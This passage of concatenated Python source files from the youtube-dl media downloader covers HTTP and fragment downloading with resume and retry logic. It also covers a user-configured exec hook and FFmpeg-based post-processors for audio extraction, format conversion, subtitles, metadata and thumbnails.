            os.remove(encodeFilename(frag_file))

        return True






from __future__ import unicode_literals

import errno
import os
import socket
import time
import re

from .common import FileDownloader
from ..compat import compat_urllib_error
from ..utils import (
    ContentTooShortError,
    encodeFilename,
    sanitize_open,
    sanitized_Request,
)


class HttpFD(FileDownloader):
    def real_download(self, filename, info_dict):
        url = info_dict['url']
        tmpfilename = self.temp_name(filename)
        stream = None

        # Do not include the Accept-Encoding header
        headers = {'Youtubedl-no-compression': 'True'}
        add_headers = info_dict.get('http_headers')
        if add_headers:
            headers.update(add_headers)
        basic_request = sanitized_Request(url, None, headers)
        request = sanitized_Request(url, None, headers)

        is_test = self.params.get('test', False)

        if is_test:
            request.add_header('Range', 'bytes=0-%s' % str(self._TEST_FILE_SIZE - 1))

        # Establish possible resume length
        if os.path.isfile(encodeFilename(tmpfilename)):
            resume_len = os.path.getsize(encodeFilename(tmpfilename))
        else:
            resume_len = 0

        open_mode = 'wb'
        if resume_len != 0:
            if self.params.get('continuedl', True):
                self.report_resuming_byte(resume_len)
                request.add_header('Range', 'bytes=%d-' % resume_len)
                open_mode = 'ab'
            else:
                resume_len = 0

        count = 0
        retries = self.params.get('retries', 0)
        while count <= retries:
            # Establish connection
            try:
                data = self.ydl.urlopen(request)
                # When trying to resume, Content-Range HTTP header of response has to be checked
                # to match the value of requested Range HTTP header. This is due to a webservers
                # that don't support resuming and serve a whole file with no Content-Range
                # set in response despite of requested Range (see
                # https://github.com/rg3/youtube-dl/issues/6057#issuecomment-126129799)
                if resume_len > 0:
                    content_range = data.headers.get('Content-Range')
                    if content_range:
                        content_range_m = re.search(r'bytes (\d+)-', content_range)
                        # Content-Range is present and matches requested Range, resume is possible
                        if content_range_m and resume_len == int(content_range_m.group(1)):
                            break
                    # Content-Range is either not present or invalid. Assuming remote webserver is
                    # trying to send the whole file, resume is not possible, so wiping the local file
                    # and performing entire redownload
                    self.report_unable_to_resume()
                    resume_len = 0
                    open_mode = 'wb'
                break
            except (compat_urllib_error.HTTPError, ) as err:
                if (err.code < 500 or err.code >= 600) and err.code != 416:
                    # Unexpected HTTP error
                    raise
                elif err.code == 416:
                    # Unable to resume (requested range not satisfiable)
                    try:
                        # Open the connection again without the range header
                        data = self.ydl.urlopen(basic_request)
                        content_length = data.info()['Content-Length']
                    except (compat_urllib_error.HTTPError, ) as err:
                        if err.code < 500 or err.code >= 600:
                            raise
                    else:
                        # Examine the reported length
                        if (content_length is not None and
                                (resume_len - 100 < int(content_length) < resume_len + 100)):
                            # The file had already been fully downloaded.
                            # Explanation to the above condition: in issue #175 it was revealed that
                            # YouTube sometimes adds or removes a few bytes from the end of the file,
                            # changing the file size slightly and causing problems for some users. So
                            # I decided to implement a suggested change and consider the file
                            # completely downloaded if the file size differs less than 100 bytes from
                            # the one in the hard drive.
                            self.report_file_already_downloaded(filename)
                            self.try_rename(tmpfilename, filename)
                            self._hook_progress({
                                'filename': filename,
                                'status': 'finished',
                                'downloaded_bytes': resume_len,
                                'total_bytes': resume_len,
                            })
                            return True
                        else:
                            # The length does not match, we start the download over
                            self.report_unable_to_resume()
                            resume_len = 0
                            open_mode = 'wb'
                            break
            except socket.error as e:
                if e.errno != errno.ECONNRESET:
                    # Connection reset is no problem, just retry
                    raise

            # Retry
            count += 1
            if count <= retries:
                self.report_retry(count, retries)

        if count > retries:
            self.report_error('giving up after %s retries' % retries)
            return False

        data_len = data.info().get('Content-length', None)

        # Range HTTP header may be ignored/unsupported by a webserver
        # (e.g. extractor/scivee.py, extractor/bambuser.py).
        # However, for a test we still would like to download just a piece of a file.
        # To achieve this we limit data_len to _TEST_FILE_SIZE and manually control
        # block size when downloading a file.
        if is_test and (data_len is None or int(data_len) > self._TEST_FILE_SIZE):
            data_len = self._TEST_FILE_SIZE

        if data_len is not None:
            data_len = int(data_len) + resume_len
            min_data_len = self.params.get('min_filesize')
            max_data_len = self.params.get('max_filesize')
            if min_data_len is not None and data_len < min_data_len:
                self.to_screen('\r[download] File is smaller than min-filesize (%s bytes < %s bytes). Aborting.' % (data_len, min_data_len))
                return False
            if max_data_len is not None and data_len > max_data_len:
                self.to_screen('\r[download] File is larger than max-filesize (%s bytes > %s bytes). Aborting.' % (data_len, max_data_len))
                return False

        byte_counter = 0 + resume_len
        block_size = self.params.get('buffersize', 1024)
        start = time.time()

        # measure time over whole while-loop, so slow_down() and best_block_size() work together properly
        now = None  # needed for slow_down() in the first loop run
        before = start  # start measuring
        while True:

            # Download and write
            data_block = data.read(block_size if not is_test else min(block_size, data_len - byte_counter))
            byte_counter += len(data_block)

            # exit loop when download is finished
            if len(data_block) == 0:
                break

            # Open destination file just in time
            if stream is None:
                try:
                    (stream, tmpfilename) = sanitize_open(tmpfilename, open_mode)
                    assert stream is not None
                    filename = self.undo_temp_name(tmpfilename)
                    self.report_destination(filename)
                except (OSError, IOError) as err:
                    self.report_error('unable to open for writing: %s' % str(err))
                    return False

                if self.params.get('xattr_set_filesize', False) and data_len is not None:
                    try:
                        import xattr
                        xattr.setxattr(tmpfilename, 'user.ytdl.filesize', str(data_len))
                    except(OSError, IOError, ImportError) as err:
                        self.report_error('unable to set filesize xattr: %s' % str(err))

            try:
                stream.write(data_block)
            except (IOError, OSError) as err:
                self.to_stderr('\n')
                self.report_error('unable to write data: %s' % str(err))
                return False

            # Apply rate limit
            self.slow_down(start, now, byte_counter - resume_len)

            # end measuring of one loop run
            now = time.time()
            after = now

            # Adjust block size
            if not self.params.get('noresizebuffer', False):
                block_size = self.best_block_size(after - before, len(data_block))

            before = after

            # Progress message
            speed = self.calc_speed(start, now, byte_counter - resume_len)
            if data_len is None:
                eta = None
            else:
                eta = self.calc_eta(start, time.time(), data_len - resume_len, byte_counter - resume_len)

            self._hook_progress({
                'status': 'downloading',
                'downloaded_bytes': byte_counter,
                'total_bytes': data_len,
                'tmpfilename': tmpfilename,
                'filename': filename,
                'eta': eta,
                'speed': speed,
                'elapsed': now - start,
            })

            if is_test and byte_counter == data_len:
                break

        if stream is None:
            self.to_stderr('\n')
            self.report_error('Did not get any data blocks')
            return False
        if tmpfilename != '-':
            stream.close()

        if data_len is not None and byte_counter != data_len:
            raise ContentTooShortError(byte_counter, int(data_len))
        self.try_rename(tmpfilename, filename)

        # Update file modification time
        if self.params.get('updatetime', True):
            info_dict['filetime'] = self.try_utime(filename, data.info().get('last-modified', None))

        self._hook_progress({
            'downloaded_bytes': byte_counter,
            'total_bytes': byte_counter,
            'filename': filename,
            'status': 'finished',
            'elapsed': time.time() - start,
        })

        return True






from __future__ import division, unicode_literals

import os
import time

from .common import FileDownloader
from .http import HttpFD
from ..utils import (
    encodeFilename,
    sanitize_open,
)


class HttpQuietDownloader(HttpFD):
    def to_screen(self, *args, **kargs):
        pass


class FragmentFD(FileDownloader):
    """
    A base file downloader class for fragmented media (e.g. f4m/m3u8 manifests).

    Available options:

    fragment_retries:   Number of times to retry a fragment for HTTP error (DASH only)
    """

    def report_retry_fragment(self, fragment_name, count, retries):
        self.to_screen(
            '[download] Got server HTTP error. Retrying fragment %s (attempt %d of %s)...'
            % (fragment_name, count, self.format_retries(retries)))

    def _prepare_and_start_frag_download(self, ctx):
        self._prepare_frag_download(ctx)
        self._start_frag_download(ctx)

    def _prepare_frag_download(self, ctx):
        if 'live' not in ctx:
            ctx['live'] = False
        self.to_screen(
            '[%s] Total fragments: %s'
            % (self.FD_NAME, ctx['total_frags'] if not ctx['live'] else 'unknown (live)'))
        self.report_destination(ctx['filename'])
        dl = HttpQuietDownloader(
            self.ydl,
            {
                'continuedl': True,
                'quiet': True,
                'noprogress': True,
                'ratelimit': self.params.get('ratelimit'),
                'retries': self.params.get('retries', 0),
                'test': self.params.get('test', False),
            }
        )
        tmpfilename = self.temp_name(ctx['filename'])
        dest_stream, tmpfilename = sanitize_open(tmpfilename, 'wb')
        ctx.update({
            'dl': dl,
            'dest_stream': dest_stream,
            'tmpfilename': tmpfilename,
        })

    def _start_frag_download(self, ctx):
        total_frags = ctx['total_frags']
        # This dict stores the download progress, it's updated by the progress
        # hook
        state = {
            'status': 'downloading',
            'downloaded_bytes': 0,
            'frag_index': 0,
            'frag_count': total_frags,
            'filename': ctx['filename'],
            'tmpfilename': ctx['tmpfilename'],
        }

        start = time.time()
        ctx.update({
            'started': start,
            # Total complete fragments downloaded so far in bytes
            'complete_frags_downloaded_bytes': 0,
            # Amount of fragment's bytes downloaded by the time of the previous
            # frag progress hook invocation
            'prev_frag_downloaded_bytes': 0,
        })

        def frag_progress_hook(s):
            if s['status'] not in ('downloading', 'finished'):
                return

            time_now = time.time()
            state['elapsed'] = time_now - start
            frag_total_bytes = s.get('total_bytes') or 0
            if not ctx['live']:
                estimated_size = (
                    (ctx['complete_frags_downloaded_bytes'] + frag_total_bytes) /
                    (state['frag_index'] + 1) * total_frags)
                state['total_bytes_estimate'] = estimated_size

            if s['status'] == 'finished':
                state['frag_index'] += 1
                state['downloaded_bytes'] += frag_total_bytes - ctx['prev_frag_downloaded_bytes']
                ctx['complete_frags_downloaded_bytes'] = state['downloaded_bytes']
                ctx['prev_frag_downloaded_bytes'] = 0
            else:
                frag_downloaded_bytes = s['downloaded_bytes']
                state['downloaded_bytes'] += frag_downloaded_bytes - ctx['prev_frag_downloaded_bytes']
                if not ctx['live']:
                    state['eta'] = self.calc_eta(
                        start, time_now, estimated_size,
                        state['downloaded_bytes'])
                state['speed'] = s.get('speed') or ctx.get('speed')
                ctx['speed'] = state['speed']
                ctx['prev_frag_downloaded_bytes'] = frag_downloaded_bytes
            self._hook_progress(state)

        ctx['dl'].add_progress_hook(frag_progress_hook)

        return start

    def _finish_frag_download(self, ctx):
        ctx['dest_stream'].close()
        elapsed = time.time() - ctx['started']
        self.try_rename(ctx['tmpfilename'], ctx['filename'])
        fsize = os.path.getsize(encodeFilename(ctx['filename']))

        self._hook_progress({
            'downloaded_bytes': fsize,
            'total_bytes': fsize,
            'filename': ctx['filename'],
            'status': 'finished',
            'elapsed': elapsed,
        })






from __future__ import unicode_literals

import subprocess

from .common import PostProcessor
from ..compat import compat_shlex_quote
from ..utils import PostProcessingError


class ExecAfterDownloadPP(PostProcessor):
    def __init__(self, downloader, exec_cmd):
        super(ExecAfterDownloadPP, self).__init__(downloader)
        self.exec_cmd = exec_cmd

    def run(self, information):
        cmd = self.exec_cmd
        if '{}' not in cmd:
            cmd += ' {}'

        cmd = cmd.replace('{}', compat_shlex_quote(information['filepath']))

        self._downloader.to_screen('[exec] Executing command: %s' % cmd)
        retCode = subprocess.call(cmd, shell=True)
        if retCode != 0:
            raise PostProcessingError(
                'Command returned error code %d' % retCode)

        return [], information






from __future__ import unicode_literals

import io
import os
import subprocess
import time


from .common import AudioConversionError, PostProcessor

from ..compat import (
    compat_subprocess_get_DEVNULL,
)
from ..utils import (
    encodeArgument,
    encodeFilename,
    get_exe_version,
    is_outdated_version,
    PostProcessingError,
    prepend_extension,
    shell_quote,
    subtitles_filename,
    dfxp2srt,
    ISO639Utils,
)


EXT_TO_OUT_FORMATS = {
    "aac": "adts",
    "m4a": "ipod",
    "mka": "matroska",
    "mkv": "matroska",
    "mpg": "mpeg",
    "ogv": "ogg",
    "ts": "mpegts",
    "wma": "asf",
    "wmv": "asf",
}


class FFmpegPostProcessorError(PostProcessingError):
    pass


class FFmpegPostProcessor(PostProcessor):
    def __init__(self, downloader=None):
        PostProcessor.__init__(self, downloader)
        self._determine_executables()

    def check_version(self):
        if not self.available:
            raise FFmpegPostProcessorError('ffmpeg or avconv not found. Please install one.')

        required_version = '10-0' if self.basename == 'avconv' else '1.0'
        if is_outdated_version(
                self._versions[self.basename], required_version):
            warning = 'Your copy of %s is outdated, update %s to version %s or newer if you encounter any errors.' % (
                self.basename, self.basename, required_version)
            if self._downloader:
                self._downloader.report_warning(warning)

    @staticmethod
    def get_versions(downloader=None):
        return FFmpegPostProcessor(downloader)._versions

    def _determine_executables(self):
        programs = ['avprobe', 'avconv', 'ffmpeg', 'ffprobe']
        prefer_ffmpeg = False

        self.basename = None
        self.probe_basename = None

        self._paths = None
        self._versions = None
        if self._downloader:
            prefer_ffmpeg = self._downloader.params.get('prefer_ffmpeg', False)
            location = self._downloader.params.get('ffmpeg_location')
            if location is not None:
                if not os.path.exists(location):
                    self._downloader.report_warning(
                        'ffmpeg-location %s does not exist! '
                        'Continuing without avconv/ffmpeg.' % (location))
                    self._versions = {}
                    return
                elif not os.path.isdir(location):
                    basename = os.path.splitext(os.path.basename(location))[0]
                    if basename not in programs:
                        self._downloader.report_warning(
                            'Cannot identify executable %s, its basename should be one of %s. '
                            'Continuing without avconv/ffmpeg.' %
                            (location, ', '.join(programs)))
                        self._versions = {}
                        return None
                    location = os.path.dirname(os.path.abspath(location))
                    if basename in ('ffmpeg', 'ffprobe'):
                        prefer_ffmpeg = True

                self._paths = dict(
                    (p, os.path.join(location, p)) for p in programs)
                self._versions = dict(
                    (p, get_exe_version(self._paths[p], args=['-version']))
                    for p in programs)
        if self._versions is None:
            self._versions = dict(
                (p, get_exe_version(p, args=['-version'])) for p in programs)
            self._paths = dict((p, p) for p in programs)

        if prefer_ffmpeg:
            prefs = ('ffmpeg', 'avconv')
        else:
            prefs = ('avconv', 'ffmpeg')
        for p in prefs:
            if self._versions[p]:
                self.basename = p
                break

        if prefer_ffmpeg:
            prefs = ('ffprobe', 'avprobe')
        else:
            prefs = ('avprobe', 'ffprobe')
        for p in prefs:
            if self._versions[p]:
                self.probe_basename = p
                break

    @property
    def available(self):
        return self.basename is not None

    @property
    def executable(self):
        return self._paths[self.basename]

    @property
    def probe_available(self):
        return self.probe_basename is not None

    @property
    def probe_executable(self):
        return self._paths[self.probe_basename]

    def run_ffmpeg_multiple_files(self, input_paths, out_path, opts):
        self.check_version()

        oldest_mtime = min(
            os.stat(encodeFilename(path)).st_mtime for path in input_paths)

        opts += self._configuration_args()

        files_cmd = []
        for path in input_paths:
            files_cmd.extend([
                encodeArgument('-i'),
                encodeFilename(self._ffmpeg_filename_argument(path), True)
            ])
        cmd = ([encodeFilename(self.executable, True), encodeArgument('-y')] +
               files_cmd +
               [encodeArgument(o) for o in opts] +
               [encodeFilename(self._ffmpeg_filename_argument(out_path), True)])

        if self._downloader.params.get('verbose', False):
            self._downloader.to_screen('[debug] ffmpeg command line: %s' % shell_quote(cmd))
        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout, stderr = p.communicate()
        if p.returncode != 0:
            stderr = stderr.decode('utf-8', 'replace')
            msg = stderr.strip().split('\n')[-1]
            raise FFmpegPostProcessorError(msg)
        self.try_utime(out_path, oldest_mtime, oldest_mtime)

    def run_ffmpeg(self, path, out_path, opts):
        self.run_ffmpeg_multiple_files([path], out_path, opts)

    def _ffmpeg_filename_argument(self, fn):
        # Always use 'file:' because the filename may contain ':' (ffmpeg
        # interprets that as a protocol) or can start with '-' (-- is broken in
        # ffmpeg, see https://ffmpeg.org/trac/ffmpeg/ticket/2127 for details)
        # Also leave '-' intact in order not to break streaming to stdout.
        return 'file:' + fn if fn != '-' else fn


class FFmpegExtractAudioPP(FFmpegPostProcessor):
    def __init__(self, downloader=None, preferredcodec=None, preferredquality=None, nopostoverwrites=False):
        FFmpegPostProcessor.__init__(self, downloader)
        if preferredcodec is None:
            preferredcodec = 'best'
        self._preferredcodec = preferredcodec
        self._preferredquality = preferredquality
        self._nopostoverwrites = nopostoverwrites

    def get_audio_codec(self, path):

        if not self.probe_available:
            raise PostProcessingError('ffprobe or avprobe not found. Please install one.')
        try:
            cmd = [
                encodeFilename(self.probe_executable, True),
                encodeArgument('-show_streams'),
                encodeFilename(self._ffmpeg_filename_argument(path), True)]
            if self._downloader.params.get('verbose', False):
                self._downloader.to_screen('[debug] %s command line: %s' % (self.basename, shell_quote(cmd)))
            handle = subprocess.Popen(cmd, stderr=compat_subprocess_get_DEVNULL(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
            output = handle.communicate()[0]
            if handle.wait() != 0:
                return None
        except (IOError, OSError):
            return None
        audio_codec = None
        for line in output.decode('ascii', 'ignore').split('\n'):
            if line.startswith('codec_name='):
                audio_codec = line.split('=')[1].strip()
            elif line.strip() == 'codec_type=audio' and audio_codec is not None:
                return audio_codec
        return None

    def run_ffmpeg(self, path, out_path, codec, more_opts):
        if codec is None:
            acodec_opts = []
        else:
            acodec_opts = ['-acodec', codec]
        opts = ['-vn'] + acodec_opts + more_opts
        try:
            FFmpegPostProcessor.run_ffmpeg(self, path, out_path, opts)
        except FFmpegPostProcessorError as err:
            raise AudioConversionError(err.msg)

    def run(self, information):
        path = information['filepath']

        filecodec = self.get_audio_codec(path)
        if filecodec is None:
            raise PostProcessingError('WARNING: unable to obtain file audio codec with ffprobe')

        more_opts = []
        if self._preferredcodec == 'best' or self._preferredcodec == filecodec or (self._preferredcodec == 'm4a' and filecodec == 'aac'):
            if filecodec == 'aac' and self._preferredcodec in ['m4a', 'best']:
                # Lossless, but in another container
                acodec = 'copy'
                extension = 'm4a'
                more_opts = ['-bsf:a', 'aac_adtstoasc']
            elif filecodec in ['aac', 'mp3', 'vorbis', 'opus']:
                # Lossless if possible
                acodec = 'copy'
                extension = filecodec
                if filecodec == 'aac':
                    more_opts = ['-f', 'adts']
                if filecodec == 'vorbis':
                    extension = 'ogg'
            else:
                # MP3 otherwise.
                acodec = 'libmp3lame'
                extension = 'mp3'
                more_opts = []
                if self._preferredquality is not None:
                    if int(self._preferredquality) < 10:
                        more_opts += ['-q:a', self._preferredquality]
                    else:
                        more_opts += ['-b:a', self._preferredquality + 'k']
        else:
            # We convert the audio (lossy)
            acodec = {'mp3': 'libmp3lame', 'aac': 'aac', 'm4a': 'aac', 'opus': 'opus', 'vorbis': 'libvorbis', 'wav': None}[self._preferredcodec]
            extension = self._preferredcodec
            more_opts = []
            if self._preferredquality is not None:
                # The opus codec doesn't support the -aq option
                if int(self._preferredquality) < 10 and extension != 'opus':
                    more_opts += ['-q:a', self._preferredquality]
                else:
                    more_opts += ['-b:a', self._preferredquality + 'k']
            if self._preferredcodec == 'aac':
                more_opts += ['-f', 'adts']
            if self._preferredcodec == 'm4a':
                more_opts += ['-bsf:a', 'aac_adtstoasc']
            if self._preferredcodec == 'vorbis':
                extension = 'ogg'
            if self._preferredcodec == 'wav':
                extension = 'wav'
                more_opts += ['-f', 'wav']

        prefix, sep, ext = path.rpartition('.')  # not os.path.splitext, since the latter does not work on unicode in all setups
        new_path = prefix + sep + extension

        # If we download foo.mp3 and convert it to... foo.mp3, then don't delete foo.mp3, silly.
        if (new_path == path or
                (self._nopostoverwrites and os.path.exists(encodeFilename(new_path)))):
            self._downloader.to_screen('[ffmpeg] Post-process file %s exists, skipping' % new_path)
            return [], information

        try:
            self._downloader.to_screen('[ffmpeg] Destination: ' + new_path)
            self.run_ffmpeg(path, new_path, acodec, more_opts)
        except AudioConversionError as e:
            raise PostProcessingError(
                'audio conversion failed: ' + e.msg)
        except Exception:
            raise PostProcessingError('error running ' + self.basename)

        # Try to update the date time for extracted audio file.
        if information.get('filetime') is not None:
            self.try_utime(
                new_path, time.time(), information['filetime'],
                errnote='Cannot update utime of audio file')

        information['filepath'] = new_path
        information['ext'] = extension

        return [path], information


class FFmpegVideoConvertorPP(FFmpegPostProcessor):
    def __init__(self, downloader=None, preferedformat=None):
        super(FFmpegVideoConvertorPP, self).__init__(downloader)
        self._preferedformat = preferedformat

    def run(self, information):
        path = information['filepath']
        if information['ext'] == self._preferedformat:
            self._downloader.to_screen('[ffmpeg] Not converting video file %s - already is in target format %s' % (path, self._preferedformat))
            return [], information
        options = []
        if self._preferedformat == 'avi':
            options.extend(['-c:v', 'libxvid', '-vtag', 'XVID'])
        prefix, sep, ext = path.rpartition('.')
        outpath = prefix + sep + self._preferedformat
        self._downloader.to_screen('[' + 'ffmpeg' + '] Converting video from %s to %s, Destination: ' % (information['ext'], self._preferedformat) + outpath)
        self.run_ffmpeg(path, outpath, options)
        information['filepath'] = outpath
        information['format'] = self._preferedformat
        information['ext'] = self._preferedformat
        return [path], information


class FFmpegEmbedSubtitlePP(FFmpegPostProcessor):
    def run(self, information):
        if information['ext'] not in ('mp4', 'webm', 'mkv'):
            self._downloader.to_screen('[ffmpeg] Subtitles can only be embedded in mp4, webm or mkv files')
            return [], information
        subtitles = information.get('requested_subtitles')
        if not subtitles:
            self._downloader.to_screen('[ffmpeg] There aren\'t any subtitles to embed')
            return [], information

        filename = information['filepath']

        ext = information['ext']
        sub_langs = []
        sub_filenames = []
        webm_vtt_warn = False

        for lang, sub_info in subtitles.items():
            sub_ext = sub_info['ext']
            if ext != 'webm' or ext == 'webm' and sub_ext == 'vtt':
                sub_langs.append(lang)
                sub_filenames.append(subtitles_filename(filename, lang, sub_ext))
            else:
                if not webm_vtt_warn and ext == 'webm' and sub_ext != 'vtt':
                    webm_vtt_warn = True
                    self._downloader.to_screen('[ffmpeg] Only WebVTT subtitles can be embedded in webm files')

        if not sub_langs:
            return [], information

        input_files = [filename] + sub_filenames

        opts = [
            '-map', '0',
            '-c', 'copy',
            # Don't copy the existing subtitles, we may be running the
            # postprocessor a second time
            '-map', '-0:s',
        ]
        if information['ext'] == 'mp4':
            opts += ['-c:s', 'mov_text']
        for (i, lang) in enumerate(sub_langs):
            opts.extend(['-map', '%d:0' % (i + 1)])
            lang_code = ISO639Utils.short2long(lang)
            if lang_code is not None:
                opts.extend(['-metadata:s:s:%d' % i, 'language=%s' % lang_code])

        temp_filename = prepend_extension(filename, 'temp')
        self._downloader.to_screen('[ffmpeg] Embedding subtitles in \'%s\'' % filename)
        self.run_ffmpeg_multiple_files(input_files, temp_filename, opts)
        os.remove(encodeFilename(filename))
        os.rename(encodeFilename(temp_filename), encodeFilename(filename))

        return sub_filenames, information


class FFmpegMetadataPP(FFmpegPostProcessor):
    def run(self, info):
        metadata = {}

        def add(meta_list, info_list=None):
            if not info_list:
                info_list = meta_list
            if not isinstance(meta_list, (list, tuple)):
                meta_list = (meta_list,)
            if not isinstance(info_list, (list, tuple)):
                info_list = (info_list,)
            for info_f in info_list:
                if info.get(info_f) is not None:
                    for meta_f in meta_list:
                        metadata[meta_f] = info[info_f]
                    break

        add('title', ('track', 'title'))
        add('date', 'upload_date')
        add(('description', 'comment'), 'description')
        add('purl', 'webpage_url')
        add('track', 'track_number')
        add('artist', ('artist', 'creator', 'uploader', 'uploader_id'))
        add('genre')
        add('album')
        add('album_artist')
        add('disc', 'disc_number')

        if not metadata:
            self._downloader.to_screen('[ffmpeg] There isn\'t any metadata to add')
            return [], info

        filename = info['filepath']
        temp_filename = prepend_extension(filename, 'temp')

        if info['ext'] == 'm4a':
            options = ['-vn', '-acodec', 'copy']
        else:
            options = ['-c', 'copy']

        for (name, value) in metadata.items():
            options.extend(['-metadata', '%s=%s' % (name, value)])

        self._downloader.to_screen('[ffmpeg] Adding metadata to \'%s\'' % filename)
        self.run_ffmpeg(filename, temp_filename, options)
        os.remove(encodeFilename(filename))
        os.rename(encodeFilename(temp_filename), encodeFilename(filename))
        return [], info


class FFmpegMergerPP(FFmpegPostProcessor):
    def run(self, info):
        filename = info['filepath']
        temp_filename = prepend_extension(filename, 'temp')
        args = ['-c', 'copy', '-map', '0:v:0', '-map', '1:a:0']
        self._downloader.to_screen('[ffmpeg] Merging formats into "%s"' % filename)
        self.run_ffmpeg_multiple_files(info['__files_to_merge'], temp_filename, args)
        os.rename(encodeFilename(temp_filename), encodeFilename(filename))
        return info['__files_to_merge'], info

    def can_merge(self):
        # TODO: figure out merge-capable ffmpeg version
        if self.basename != 'avconv':
            return True

        required_version = '10-0'
        if is_outdated_version(
                self._versions[self.basename], required_version):
            warning = ('Your copy of %s is outdated and unable to properly mux separate video and audio files, '
                       'youtube-dl will download single file media. '
                       'Update %s to version %s or newer to fix this.') % (
                           self.basename, self.basename, required_version)
            if self._downloader:
                self._downloader.report_warning(warning)
            return False
        return True


class FFmpegFixupStretchedPP(FFmpegPostProcessor):
    def run(self, info):
        stretched_ratio = info.get('stretched_ratio')
        if stretched_ratio is None or stretched_ratio == 1:
            return [], info

        filename = info['filepath']
        temp_filename = prepend_extension(filename, 'temp')

        options = ['-c', 'copy', '-aspect', '%f' % stretched_ratio]
        self._downloader.to_screen('[ffmpeg] Fixing aspect ratio in "%s"' % filename)
        self.run_ffmpeg(filename, temp_filename, options)

        os.remove(encodeFilename(filename))
        os.rename(encodeFilename(temp_filename), encodeFilename(filename))

        return [], info


class FFmpegFixupM4aPP(FFmpegPostProcessor):
    def run(self, info):
        if info.get('container') != 'm4a_dash':
            return [], info

        filename = info['filepath']
        temp_filename = prepend_extension(filename, 'temp')

        options = ['-c', 'copy', '-f', 'mp4']
        self._downloader.to_screen('[ffmpeg] Correcting container in "%s"' % filename)
        self.run_ffmpeg(filename, temp_filename, options)

        os.remove(encodeFilename(filename))
        os.rename(encodeFilename(temp_filename), encodeFilename(filename))

        return [], info


class FFmpegFixupM3u8PP(FFmpegPostProcessor):
    def run(self, info):
        filename = info['filepath']
        temp_filename = prepend_extension(filename, 'temp')

        options = ['-c', 'copy', '-f', 'mp4', '-bsf:a', 'aac_adtstoasc']
        self._downloader.to_screen('[ffmpeg] Fixing malformated aac bitstream in "%s"' % filename)
        self.run_ffmpeg(filename, temp_filename, options)

        os.remove(encodeFilename(filename))
        os.rename(encodeFilename(temp_filename), encodeFilename(filename))

        return [], info


class FFmpegSubtitlesConvertorPP(FFmpegPostProcessor):
    def __init__(self, downloader=None, format=None):
        super(FFmpegSubtitlesConvertorPP, self).__init__(downloader)
        self.format = format

    def run(self, info):
        subs = info.get('requested_subtitles')
        filename = info['filepath']
        new_ext = self.format
        new_format = new_ext
        if new_format == 'vtt':
            new_format = 'webvtt'
        if subs is None:
            self._downloader.to_screen('[ffmpeg] There aren\'t any subtitles to convert')
            return [], info
        self._downloader.to_screen('[ffmpeg] Converting subtitles')
        sub_filenames = []
        for lang, sub in subs.items():
            ext = sub['ext']
            if ext == new_ext:
                self._downloader.to_screen(
                    '[ffmpeg] Subtitle file for %s is already in the requested'
                    'format' % new_ext)
                continue
            old_file = subtitles_filename(filename, lang, ext)
            sub_filenames.append(old_file)
            new_file = subtitles_filename(filename, lang, new_ext)

            if ext == 'dfxp' or ext == 'ttml' or ext == 'tt':
                self._downloader.report_warning(
                    'You have requested to convert dfxp (TTML) subtitles into another format, '
                    'which results in style information loss')

                dfxp_file = old_file
                srt_file = subtitles_filename(filename, lang, 'srt')

                with io.open(dfxp_file, 'rt', encoding='utf-8') as f:
                    srt_data = dfxp2srt(f.read())

                with io.open(srt_file, 'wt', encoding='utf-8') as f:
                    f.write(srt_data)
                old_file = srt_file

                subs[lang] = {
                    'ext': 'srt',
                    'data': srt_data
                }

                if new_ext == 'srt':
                    continue
                else:
                    sub_filenames.append(srt_file)

            self.run_ffmpeg(old_file, new_file, ['-f', new_format])

            with io.open(new_file, 'rt', encoding='utf-8') as f:
                subs[lang] = {
                    'ext': new_ext,
                    'data': f.read(),
                }

        return sub_filenames, info






from __future__ import unicode_literals

import re

from .common import PostProcessor


class MetadataFromTitlePP(PostProcessor):
    def __init__(self, downloader, titleformat):
        super(MetadataFromTitlePP, self).__init__(downloader)
        self._titleformat = titleformat
        self._titleregex = self.format_to_regex(titleformat)

    def format_to_regex(self, fmt):
        """
        Converts a string like
           '%(title)s - %(artist)s'
        to a regex like
           '(?P<title>.+)\ \-\ (?P<artist>.+)'
        """
        lastpos = 0
        regex = ''
        # replace %(..)s with regex group and escape other string parts
        for match in re.finditer(r'%\((\w+)\)s', fmt):
            regex += re.escape(fmt[lastpos:match.start()])
            regex += r'(?P<' + match.group(1) + '>.+)'
            lastpos = match.end()
        if lastpos < len(fmt):
            regex += re.escape(fmt[lastpos:len(fmt)])
        return regex

    def run(self, info):
        title = info['title']
        match = re.match(self._titleregex, title)
        if match is None:
            self._downloader.to_screen('[fromtitle] Could not interpret title of video as "%s"' % self._titleformat)
            return [], info
        for attribute, value in match.groupdict().items():
            value = match.group(attribute)
            info[attribute] = value
            self._downloader.to_screen('[fromtitle] parsed ' + attribute + ': ' + value)

        return [], info






# -*- coding: utf-8 -*-
from __future__ import unicode_literals


import os
import subprocess

from .ffmpeg import FFmpegPostProcessor

from ..utils import (
    check_executable,
    encodeArgument,
    encodeFilename,
    PostProcessingError,
    prepend_extension,
    shell_quote
)


class EmbedThumbnailPPError(PostProcessingError):
    pass


class EmbedThumbnailPP(FFmpegPostProcessor):
    def __init__(self, downloader=None, already_have_thumbnail=False):
        super(EmbedThumbnailPP, self).__init__(downloader)
        self._already_have_thumbnail = already_have_thumbnail

    def run(self, info):
        filename = info['filepath']
        temp_filename = prepend_extension(filename, 'temp')

        if not info.get('thumbnails'):
            raise EmbedThumbnailPPError('Thumbnail was not found. Nothing to do.')

        thumbnail_filename = info['thumbnails'][-1]['filename']

        if not os.path.exists(encodeFilename(thumbnail_filename)):
            self._downloader.report_warning(
                'Skipping embedding the thumbnail because the file is missing.')
            return [], info

        if info['ext'] in ('mp3', 'mkv'):
            options = [
                '-c', 'copy', '-map', '0', '-map', '1',
                '-metadata:s:v', 'title="Album cover"', '-metadata:s:v', 'comment="Cover (Front)"']

            self._downloader.to_screen('[ffmpeg] Adding thumbnail to "%s"' % filename)

            self.run_ffmpeg_multiple_files([filename, thumbnail_filename], temp_filename, options)

            if not self._already_have_thumbnail:
                os.remove(encodeFilename(thumbnail_filename))
            os.remove(encodeFilename(filename))
            os.rename(encodeFilename(temp_filename), encodeFilename(filename))

        elif info['ext'] in ['m4a', 'mp4']:
            if not check_executable('AtomicParsley', ['-v']):
                raise EmbedThumbnailPPError('AtomicParsley was not found. Please install.')

            cmd = [encodeFilename('AtomicParsley', True),
